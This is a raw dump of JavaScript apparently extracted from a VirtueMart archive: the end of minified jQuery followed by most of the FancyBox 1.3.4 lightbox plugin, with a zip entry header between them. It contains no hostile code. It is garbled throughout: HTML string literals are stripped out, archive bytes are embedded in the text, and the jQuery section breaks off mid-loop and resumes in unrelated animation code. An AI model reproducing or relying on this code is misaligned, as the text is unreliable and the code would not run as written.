f)?f(e):f.event,h=f.Deferred(),i=f._Deferred(),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bI.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.done,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bH,"").replace(bM,bX[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bQ),d.crossDomain==null&&(r=bS.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bX[1]&&r[2]==bX[2]&&(r[3]||(r[1]==="http:"?80:443))==(bX[3]||(bX[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bU,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bL.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bN.test(d.url)?"&":"?")+d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bR,"$1_="+x);d.url=y+(y===d.url?(bN.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", */*; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bV,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){status<2?w(-1,z):f.error(z)}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bE,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq,cr=a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||a.oRequestAnimationFrame;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=e.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),e.animatedProperties[this.prop]=!0;for(g in e.animatedProperties)e.animatedProperties[g]!==!0&&(c=!1);if(c){e.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){d.style["overflow"+b]=e.overflow[a]}),e.hide&&f(d).hide();if(e.hide||e.show)for(var i in e.animatedProperties)f.style(d,i,e.orig[i]);e.complete.call(d)}return!1}e.duration==Infinity?this.now=b:(h=b-this.startTime,this.state=h/e.duration,this.pos=f.easing[e.animatedProperties[this.prop]](this.state,h,0,1,e.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){for(var a=f.timers,b=0;b
              ";f.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),d=b.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,this.doesNotAddBorder=e.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,e.style.position="fixed",e.style.top="20px",this.supportsFixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",this.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),f.offset.initialize=f.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.offset.initialize(),f.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){return this[0]?parseFloat(f.css(this[0],d,"padding")):null},f.fn["outer"+c]=function(a){return this[0]?parseFloat(f.css(this[0],d,a?"margin":"border")):null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c];return e.document.compatMode==="CSS1Compat"&&g||e.document.body["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var h=f.css(e,d),i=parseFloat(h);return f.isNaN(i)?h:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f})(window);PKGy>\ C-rr:com_virtuemart/assets/js/fancybox/jquery.fancybox-1.3.4.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function($) { var tmp, loading, overlay, wrap, outer, content, close, title, nav_left, nav_right, selectedIndex = 0, selectedOpts = {}, selectedArray = [], currentIndex = 0, currentOpts = {}, currentArray = [], ajaxLoader = null, imgPreloader = new Image(), imgRegExp = /\.(jpg|gif|png|bmp|jpeg)(.*)?$/i, swfRegExp = /[^\.]\.(swf)\s*$/i, loadingTimer, loadingFrame = 1, titleHeight = 0, titleStr = '', start_pos, final_pos, busy = false, fx = $.extend($('
              ')[0], { prop: 0 }), isIE6 = $.browser.msie && $.browser.version < 7 && !window.XMLHttpRequest, /* * Private methods */ _abort = function() { loading.hide(); imgPreloader.onerror = imgPreloader.onload = null; if (ajaxLoader) { ajaxLoader.abort(); } tmp.empty(); }, _error = function() { if (false === selectedOpts.onError(selectedArray, selectedIndex, selectedOpts)) { loading.hide(); busy = false; return; } selectedOpts.titleShow = false; selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; tmp.html( '

              The requested content cannot be loaded.
              Please try again later.

              ' ); _process_inline(); }, _start = function() { var obj = selectedArray[ selectedIndex ], href, type, title, str, emb, ret; _abort(); selectedOpts = $.extend({}, $.fn.fancybox.defaults, (typeof $(obj).data('fancybox') == 'undefined' ? selectedOpts : $(obj).data('fancybox'))); ret = selectedOpts.onStart(selectedArray, selectedIndex, selectedOpts); if (ret === false) { busy = false; return; } else if (typeof ret == 'object') { selectedOpts = $.extend(selectedOpts, ret); } title = selectedOpts.title || (obj.nodeName ? $(obj).attr('title') : obj.title) || ''; if (obj.nodeName && !selectedOpts.orig) { selectedOpts.orig = $(obj).children("img:first").length ? $(obj).children("img:first") : $(obj); } if (title === '' && selectedOpts.orig && selectedOpts.titleFromAlt) { title = selectedOpts.orig.attr('alt'); } href = selectedOpts.href || (obj.nodeName ? $(obj).attr('href') : obj.href) || null; if ((/^(?:javascript)/i).test(href) || href == '#') { href = null; } if (selectedOpts.type) { type = selectedOpts.type; if (!href) { href = selectedOpts.content; } } else if (selectedOpts.content) { type = 'html'; } else if (href) { if (href.match(imgRegExp)) { type = 'image'; } else if (href.match(swfRegExp)) { type = 'swf'; } else if ($(obj).hasClass("iframe")) { type = 'iframe'; } else if (href.indexOf("#") === 0) { type = 'inline'; } else { type = 'ajax'; } } if (!type) { _error(); return; } if (type == 'inline') { obj = href.substr(href.indexOf("#")); type = $(obj).length > 0 ? 'inline' : 'ajax'; } selectedOpts.type = type; selectedOpts.href = href; selectedOpts.title = title; if (selectedOpts.autoDimensions) { if (selectedOpts.type == 'html' || selectedOpts.type == 'inline' || selectedOpts.type == 'ajax') { selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; } else { selectedOpts.autoDimensions = false; } } if (selectedOpts.modal) { selectedOpts.overlayShow = true; selectedOpts.hideOnOverlayClick = false; selectedOpts.hideOnContentClick = false; selectedOpts.enableEscapeButton = false; selectedOpts.showCloseButton = false; } selectedOpts.padding = parseInt(selectedOpts.padding, 10); selectedOpts.margin = parseInt(selectedOpts.margin, 10); tmp.css('padding', (selectedOpts.padding + selectedOpts.margin)); $('.fancybox-inline-tmp').unbind('fancybox-cancel').bind('fancybox-change', function() { $(this).replaceWith(content.children()); }); switch (type) { case 'html' : tmp.html( selectedOpts.content ); _process_inline(); break; case 'inline' : if ( $(obj).parent().is('#fancybox-content') === true) { busy = false; return; } $('
              ') .hide() .insertBefore( $(obj) ) .bind('fancybox-cleanup', function() { $(this).replaceWith(content.children()); }).bind('fancybox-cancel', function() { $(this).replaceWith(tmp.children()); }); $(obj).appendTo(tmp); _process_inline(); break; case 'image': busy = false; $.fancybox.showActivity(); imgPreloader = new Image(); imgPreloader.onerror = function() { _error(); }; imgPreloader.onload = function() { busy = true; imgPreloader.onerror = imgPreloader.onload = null; _process_image(); }; imgPreloader.src = href; break; case 'swf': selectedOpts.scrolling = 'no'; str = ''; emb = ''; $.each(selectedOpts.swf, function(name, val) { str += ''; emb += ' ' + name + '="' + val + '"'; }); str += ''; tmp.html(str); _process_inline(); break; case 'ajax': busy = false; $.fancybox.showActivity(); selectedOpts.ajax.win = selectedOpts.ajax.success; ajaxLoader = $.ajax($.extend({}, selectedOpts.ajax, { url : href, data : selectedOpts.ajax.data || {}, error : function(XMLHttpRequest, textStatus, errorThrown) { if ( XMLHttpRequest.status > 0 ) { _error(); } }, success : function(data, textStatus, XMLHttpRequest) { var o = typeof XMLHttpRequest == 'object' ? XMLHttpRequest : ajaxLoader; if (o.status == 200) { if ( typeof selectedOpts.ajax.win == 'function' ) { ret = selectedOpts.ajax.win(href, data, textStatus, XMLHttpRequest); if (ret === false) { loading.hide(); return; } else if (typeof ret == 'string' || typeof ret == 'object') { data = ret; } } tmp.html( data ); _process_inline(); } } })); break; case 'iframe': _show(); break; } }, _process_inline = function() { var w = selectedOpts.width, h = selectedOpts.height; if (w.toString().indexOf('%') > -1) { w = parseInt( ($(window).width() - (selectedOpts.margin * 2)) * parseFloat(w) / 100, 10) + 'px'; } else { w = w == 'auto' ? 'auto' : w + 'px'; } if (h.toString().indexOf('%') > -1) { h = parseInt( ($(window).height() - (selectedOpts.margin * 2)) * parseFloat(h) / 100, 10) + 'px'; } else { h = h == 'auto' ? 'auto' : h + 'px'; } tmp.wrapInner('
              '); selectedOpts.width = tmp.width(); selectedOpts.height = tmp.height(); _show(); }, _process_image = function() { selectedOpts.width = imgPreloader.width; selectedOpts.height = imgPreloader.height; $("").attr({ 'id' : 'fancybox-img', 'src' : imgPreloader.src, 'alt' : selectedOpts.title }).appendTo( tmp ); _show(); }, _show = function() { var pos, equal; loading.hide(); if (wrap.is(":visible") && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { $.event.trigger('fancybox-cancel'); busy = false; return; } busy = true; $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); if (wrap.is(":visible") && currentOpts.titlePosition !== 'outside') { wrap.css('height', wrap.height()); } currentArray = selectedArray; currentIndex = selectedIndex; currentOpts = selectedOpts; if (currentOpts.overlayShow) { overlay.css({ 'background-color' : currentOpts.overlayColor, 'opacity' : currentOpts.overlayOpacity, 'cursor' : currentOpts.hideOnOverlayClick ? 'pointer' : 'auto', 'height' : $(document).height() }); if (!overlay.is(':visible')) { if (isIE6) { $('select:not(#fancybox-tmp select)').filter(function() { return this.style.visibility !== 'hidden'; }).css({'visibility' : 'hidden'}).one('fancybox-cleanup', function() { this.style.visibility = 'inherit'; }); } overlay.show(); } } else { overlay.hide(); } final_pos = _get_zoom_to(); _process_title(); if (wrap.is(":visible")) { $( close.add( nav_left ).add( nav_right ) ).hide(); pos = wrap.position(), start_pos = { top : pos.top, left : pos.left, width : wrap.width(), height : wrap.height() }; equal = (start_pos.width == final_pos.width && start_pos.height == final_pos.height); content.fadeTo(currentOpts.changeFade, 0.3, function() { var finish_resizing = function() { content.html( tmp.contents() ).fadeTo(currentOpts.changeFade, 1, _finish); }; $.event.trigger('fancybox-change'); content .empty() .removeAttr('filter') .css({ 'border-width' : currentOpts.padding, 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }); if (equal) { finish_resizing(); } else { fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.changeSpeed, easing : currentOpts.easingChange, step : _draw, complete : finish_resizing }); } }); return; } wrap.removeAttr("style"); content.css('border-width', currentOpts.padding); if (currentOpts.transitionIn == 'elastic') { start_pos = _get_zoom_from(); content.html( tmp.contents() ); wrap.show(); if (currentOpts.opacity) { final_pos.opacity = 0; } fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.speedIn, easing : currentOpts.easingIn, step : _draw, complete : _finish }); return; } if (currentOpts.titlePosition == 'inside' && titleHeight > 0) { title.show(); } content .css({ 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }) .html( tmp.contents() ); wrap .css(final_pos) .fadeIn( currentOpts.transitionIn == 'none' ? 0 : currentOpts.speedIn, _finish ); }, _format_title = function(title) { if (title && title.length) { if (currentOpts.titlePosition == 'float') { return '
              ' + title + '
              '; } return '
              ' + title + '
              '; } return false; }, _process_title = function() { titleStr = currentOpts.title || ''; titleHeight = 0; title .empty() .removeAttr('style') .removeClass(); if (currentOpts.titleShow === false) { title.hide(); return; } titleStr = $.isFunction(currentOpts.titleFormat) ? currentOpts.titleFormat(titleStr, currentArray, currentIndex, currentOpts) : _format_title(titleStr); if (!titleStr || titleStr === '') { title.hide(); return; } title .addClass('fancybox-title-' + currentOpts.titlePosition) .html( titleStr ) .appendTo( 'body' ) .show(); switch (currentOpts.titlePosition) { case 'inside': title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'marginLeft' : currentOpts.padding, 'marginRight' : currentOpts.padding }); titleHeight = title.outerHeight(true); title.appendTo( outer ); final_pos.height += titleHeight; break; case 'over': title .css({ 'marginLeft' : currentOpts.padding, 'width' : final_pos.width - (currentOpts.padding * 2), 'bottom' : currentOpts.padding }) .appendTo( outer ); break; case 'float': title .css('left', parseInt((title.width() - final_pos.width - 40)/ 2, 10) * -1) .appendTo( wrap ); break; default: title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'paddingLeft' : currentOpts.padding, 'paddingRight' : currentOpts.padding }) .appendTo( wrap ); break; } title.hide(); }, _set_navigation = function() { if (currentOpts.enableEscapeButton || currentOpts.enableKeyboardNav) { $(document).bind('keydown.fb', function(e) { if (e.keyCode == 27 && currentOpts.enableEscapeButton) { e.preventDefault(); $.fancybox.close(); } else if ((e.keyCode == 37 || e.keyCode == 39) && currentOpts.enableKeyboardNav && e.target.tagName !== 'INPUT' && e.target.tagName !== 'TEXTAREA' && e.target.tagName !== 'SELECT') { e.preventDefault(); $.fancybox[ e.keyCode == 37 ? 'prev' : 'next'](); } }); } if (!currentOpts.showNavArrows) { nav_left.hide(); nav_right.hide(); return; } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex !== 0) { nav_left.show(); } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex != (currentArray.length -1)) { nav_right.show(); } }, _finish = function () { if (!$.support.opacity) { content.get(0).style.removeAttribute('filter'); wrap.get(0).style.removeAttribute('filter'); } if (selectedOpts.autoDimensions) { content.css('height', 'auto'); } wrap.css('height', 'auto'); if (titleStr && titleStr.length) { title.show(); } if (currentOpts.showCloseButton) { close.show(); } _set_navigation(); if (currentOpts.hideOnContentClick) { content.bind('click', $.fancybox.close); } if (currentOpts.hideOnOverlayClick) { overlay.bind('click', $.fancybox.close); } $(window).bind("resize.fb", $.fancybox.resize); if (currentOpts.centerOnScroll) { $(window).bind("scroll.fb", $.fancybox.center); } if (currentOpts.type == 'iframe') { $('').appendTo(content); } wrap.show(); busy = false; $.fancybox.center(); currentOpts.onComplete(currentArray, currentIndex, currentOpts); _preload_images(); }, _preload_images = function() { var href, objNext; if ((currentArray.length -1) > currentIndex) { href = currentArray[ currentIndex + 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } if (currentIndex > 0) { href = currentArray[ currentIndex - 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } }, _draw = function(pos) { var dim = { width : parseInt(start_pos.width + (final_pos.width - start_pos.width) * pos, 10), height : parseInt(start_pos.height + (final_pos.height - start_pos.height) * pos, 10), top : parseInt(start_pos.top + (final_pos.top - start_pos.top) * pos, 10), left : parseInt(start_pos.left + (final_pos.left - start_pos.left) * pos, 10) }; if (typeof final_pos.opacity !== 'undefined') { dim.opacity = pos < 0.5 ? 0.5 : pos; } wrap.css(dim); content.css({ 'width' : dim.width - currentOpts.padding * 2, 'height' : dim.height - (titleHeight * pos) - currentOpts.padding * 2 }); }, _get_viewport = function() { return [ $(window).width() - (currentOpts.margin * 2), $(window).height() - (currentOpts.margin * 2), $(document).scrollLeft() + currentOpts.margin, $(document).scrollTop() + currentOpts.margin ]; }, _get_zoom_to = function () { var view = _get_viewport(), to = {}, resize = currentOpts.autoScale, double_padding = currentOpts.padding * 2, ratio; if (currentOpts.width.toString().indexOf('%') > -1) { to.width = parseInt((view[0] * parseFloat(currentOpts.width)) / 100, 10); } else { to.width = currentOpts.width + double_padding; } if (currentOpts.height.toString().indexOf('%') > -1) { to.height = parseInt((view[1] * parseFloat(currentOpts.height)) / 100, 10); } else { to.height = currentOpts.height + double_padding; } if (resize && (to.width > view[0] || to.height > view[1])) { if (selectedOpts.type == 'image' || selectedOpts.type == 'swf') { ratio = (currentOpts.width ) / (currentOpts.height ); if ((to.width ) > view[0]) { to.width = view[0]; to.height = parseInt(((to.width - double_padding) / ratio) + double_padding, 10); } if ((to.height) > view[1]) { to.height = view[1]; to.width = parseInt(((to.height - double_padding) * ratio) + double_padding, 10); } } else { to.width = Math.min(to.width, view[0]); to.height = Math.min(to.height, view[1]); } } to.top = parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - to.height - 40) * 0.5)), 10); to.left = parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - to.width - 40) * 0.5)), 10); return to; }, _get_obj_pos = function(obj) { var pos = obj.offset(); pos.top += parseInt( obj.css('paddingTop'), 10 ) || 0; pos.left += parseInt( obj.css('paddingLeft'), 10 ) || 0; pos.top += parseInt( obj.css('border-top-width'), 10 ) || 0; pos.left += parseInt( obj.css('border-left-width'), 10 ) || 0; pos.width = obj.width(); pos.height = obj.height(); return pos; }, _get_zoom_from = function() { var orig = selectedOpts.orig ? $(selectedOpts.orig) : false, from = {}, pos, view; if (orig && orig.length) { pos = _get_obj_pos(orig); from = { width : pos.width + (currentOpts.padding * 2), height : pos.height + (currentOpts.padding * 2), top : pos.top - currentOpts.padding - 20, left : pos.left - currentOpts.padding - 20 }; } else { view = _get_viewport(); from = { width : currentOpts.padding * 2, height : currentOpts.padding * 2, top : parseInt(view[3] + view[1] * 0.5, 10), left : parseInt(view[2] + view[0] * 0.5, 10) }; } return from; }, _animate_loading = function() { if (!loading.is(':visible')){ clearInterval(loadingTimer); return; } $('div', loading).css('top', (loadingFrame * -40) + 'px'); loadingFrame = (loadingFrame + 1) % 12; }; /* * Public methods */ $.fn.fancybox = function(options) { if (!$(this).length) { return this; } $(this) .data('fancybox', $.extend({}, options, ($.metadata ? $(this).metadata() : {}))) .unbind('click.fb') .bind('click.fb', function(e) { e.preventDefault(); if (busy) { return; } busy = true; $(this).blur(); selectedArray = []; selectedIndex = 0; var rel = $(this).attr('rel') || ''; if (!rel || rel == '' || rel === 'nofollow') { selectedArray.push(this); } else { selectedArray = $("a[rel=" + rel + "], area[rel=" + rel + "]"); selectedIndex = selectedArray.index( this ); } _start(); return; }); return this; }; $.fancybox = function(obj) { var opts; if (busy) { return; } busy = true; opts = typeof arguments[1] !== 'undefined' ? arguments[1] : {}; selectedArray = []; selectedIndex = parseInt(opts.index, 10) || 0; if ($.isArray(obj)) { for (var i = 0, j = obj.length; i < j; i++) { if (typeof obj[i] == 'object') { $(obj[i]).data('fancybox', $.extend({}, opts, obj[i])); } else { obj[i] = $({}).data('fancybox', $.extend({content : obj[i]}, opts)); } } selectedArray = jQuery.merge(selectedArray, obj); } else { if (typeof obj == 'object') { $(obj).data('fancybox', $.extend({}, opts, obj)); } else { obj = $({}).data('fancybox', $.extend({content : obj}, opts)); } selectedArray.push(obj); } if (selectedIndex > selectedArray.length || selectedIndex < 0) { selectedIndex = 0; } _start(); }; $.fancybox.showActivity = function() { clearInterval(loadingTimer); loading.show(); loadingTimer = setInterval(_animate_loading, 66); }; $.fancybox.hideActivity = function() { loading.hide(); }; $.fancybox.next = function() { return $.fancybox.pos( currentIndex + 1); }; $.fancybox.prev = function() { return $.fancybox.pos( currentIndex - 1); }; $.fancybox.pos = function(pos) { if (busy) { return; } pos = parseInt(pos); selectedArray = currentArray; if (pos > -1 && pos < currentArray.length) { selectedIndex = pos; _start(); } else if (currentOpts.cyclic && currentArray.length > 1) { selectedIndex = pos >= currentArray.length ? 0 : currentArray.length - 1; _start(); } return; }; $.fancybox.cancel = function() { if (busy) { return; } busy = true; $.event.trigger('fancybox-cancel'); _abort(); selectedOpts.onCancel(selectedArray, selectedIndex, selectedOpts); busy = false; }; // Note: within an iframe use - parent.$.fancybox.close(); $.fancybox.close = function() { if (busy || wrap.is(':hidden')) { return; } busy = true; if (currentOpts && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { busy = false; return; } _abort(); $(close.add( nav_left ).add( nav_right )).hide(); $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); content.find('iframe').attr('src', isIE6 && /^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank'); if (currentOpts.titlePosition !== 'inside') { title.empty(); } wrap.stop(); function _cleanup() { overlay.fadeOut('fast'); title.empty().hide(); wrap.hide(); $.event.trigger('fancybox-cleanup'); content.empty(); currentOpts.onClosed(currentArray, currentIndex, currentOpts); currentArray = selectedOpts = []; currentIndex = selectedIndex = 0; currentOpts = selectedOpts = {}; busy = false; } if (currentOpts.transitionOut == 'elastic') { start_pos = _get_zoom_from(); var pos = wrap.position(); final_pos = { top : pos.top , left : pos.left, width : wrap.width(), height : wrap.height() }; if (currentOpts.opacity) { final_pos.opacity = 1; } title.empty().hide(); fx.prop = 1; $(fx).animate({ prop: 0 }, { duration : currentOpts.speedOut, easing : currentOpts.easingOut, step : _draw, complete : _cleanup }); } else { wrap.fadeOut( currentOpts.transitionOut == 'none' ? 0 : currentOpts.speedOut, _cleanup); } }; $.fancybox.resize = function() { if (overlay.is(':visible')) { overlay.css('height', $(document).height()); } $.fancybox.center(true); }; $.fancybox.center = function() { var view, align; if (busy) { return; } align = arguments[0] === true ? 1 : 0; view = _get_viewport(); if (!align && (wrap.width() > view[0] || wrap.height() > view[1])) { return; } wrap .stop() .animate({ 'top' : parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - content.height() - 40) * 0.5) - currentOpts.padding)), 'left' : parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - content.width() - 40) * 0.5) - currentOpts.padding)) }, typeof arguments[0] == 